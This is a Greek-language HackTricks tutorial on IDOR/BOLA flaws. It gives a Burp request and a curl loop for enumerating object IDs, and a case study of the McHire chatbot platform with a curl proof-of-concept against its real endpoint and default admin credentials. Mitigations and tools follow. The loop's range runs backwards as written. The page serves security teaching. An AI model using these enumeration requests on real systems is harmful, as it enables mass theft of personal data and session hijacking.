IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωρίσιμο δείκτη που ελέγχεται από τον χρήστη και χρησιμοποιείται άμεσα για να αποκτήσει πρόσβαση σε ένα εσωτερικό αντικείμενο χωρίς να επαληθεύει ότι ο καλών είναι εξουσιοδοτημένος να έχει πρόσβαση/να τροποποιήσει αυτό το αντικείμενο. Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη κλιμάκωση προνομίων, όπως η ανάγνωση ή η τροποποίηση δεδομένων άλλων χρηστών και, στην χειρότερη περίπτωση, πλήρη κατάληψη λογαριασμού ή μαζική εξαγωγή δεδομένων.


1. Αναγνώριση Πιθανών IDORs

  1. Αναζητήστε παραμέτρους που αναφέρονται σε ένα αντικείμενο:
  • Διαδρομή: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Ερώτημα: ?id=42, ?invoice=2024-00001
  • Σώμα / JSON: {"user_id": 321, "order_id": 987}
  • Επικεφαλίδες / Cookies: X-Client-ID: 4711
  1. Προτιμήστε endpoints που διαβάζουν ή ενημερώνουν δεδομένα (GET, PUT, PATCH, DELETE).
  2. Σημειώστε πότε οι αναγνωρίσιμοι δείκτες είναι διαδοχικοί ή προβλέψιμοι – αν το ID σας είναι 64185742, τότε το 64185741 πιθανώς υπάρχει.
  3. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. "Paradox team members" σύνδεσμος στις σελίδες σύνδεσης) που μπορεί να αποκαλύψουν επιπλέον APIs.
  4. Χρησιμοποιήστε μια εξουσιοδοτημένη συνεδρία χαμηλών προνομίων και αλλάξτε μόνο το ID διατηρώντας το ίδιο token/cookie. Η απουσία σφάλματος εξουσιοδότησης είναι συνήθως ένδειξη IDOR.

Γρήγορη χειροκίνητη παρέμβαση (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Αυτοματοποιημένη αρίθμηση (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. Μελέτη Περίπτωσης από τον Πραγματικό Κόσμο – McHire Chatbot Platform (2025)

Κατά τη διάρκεια μιας αξιολόγησης της πλατφόρμας πρόσληψης McHire που υποστηρίζεται από το Paradox.ai, ανακαλύφθηκε το εξής IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie συνεδρίας χρήστη για οποιονδήποτε λογαριασμό δοκιμής εστιατορίου
  • Body parameter: {"lead_id": N} – 8-ψήφιος, διαδοχικός αριθμητικός αναγνωριστικός

Μειώνοντας το lead_id, ο δοκιμαστής ανέκτησε τυχαία πλήρη PII υποψηφίων (όνομα, email, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα JWT καταναλωτή που επέτρεπε την υποκλοπή συνεδρίας. Η αρίθμηση της κλίμακας 1 – 64,185,742 αποκάλυψε περίπου 64 εκατομμύρια αρχεία.

Αίτημα απόδειξης της έννοιας:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Συνδυασμένο με προεπιλεγμένα διαπιστευτήρια διαχειριστή (123456:123456) που παραχώρησαν πρόσβαση στον λογαριασμό δοκιμής, η ευπάθεια οδήγησε σε μια κρίσιμη, εταιρική διαρροή δεδομένων.


3. Επιπτώσεις του IDOR / BOLA

  • Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή δεδομένων άλλων χρηστών.
  • Κατακόρυφη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργικότητα μόνο για διαχειριστές.
  • Μαζική διαρροή δεδομένων αν οι ταυτοποιήσεις είναι διαδοχικές (π.χ., ID αιτούντων, τιμολόγια).
  • Κατάληψη λογαριασμού κλέβοντας tokens ή επαναφέροντας κωδικούς πρόσβασης άλλων χρηστών.

4. Μετριασμοί & Καλές Πρακτικές

  1. Επιβολή εξουσιοδότησης σε επίπεδο αντικειμένου σε κάθε αίτημα (user_id == session.user).
  2. Προτιμήστε έμμεσες, μη μαντεύσιμες ταυτοποιήσεις (UUIDv4, ULID) αντί για αυτόματους αυξανόμενους ID.
  3. Εκτελέστε την εξουσιοδότηση στην πλευρά του διακομιστή, ποτέ μην βασίζεστε σε κρυφά πεδία φόρμας ή ελέγχους UI.
  4. Εφαρμόστε ελέγχους RBAC / ABAC σε ένα κεντρικό middleware.
  5. Προσθέστε περιορισμούς ρυθμού & καταγραφή για να ανιχνεύσετε την αρίθμηση των ID.
  6. Δοκιμάστε την ασφάλεια κάθε νέας διεπαφής (μονάδα, ολοκλήρωση και DAST).

5. Εργαλεία

  • Επεκτάσεις BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Projects στο Github: bwapp-idor-scanner, Blindy (μαζική αναζήτηση IDOR).

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks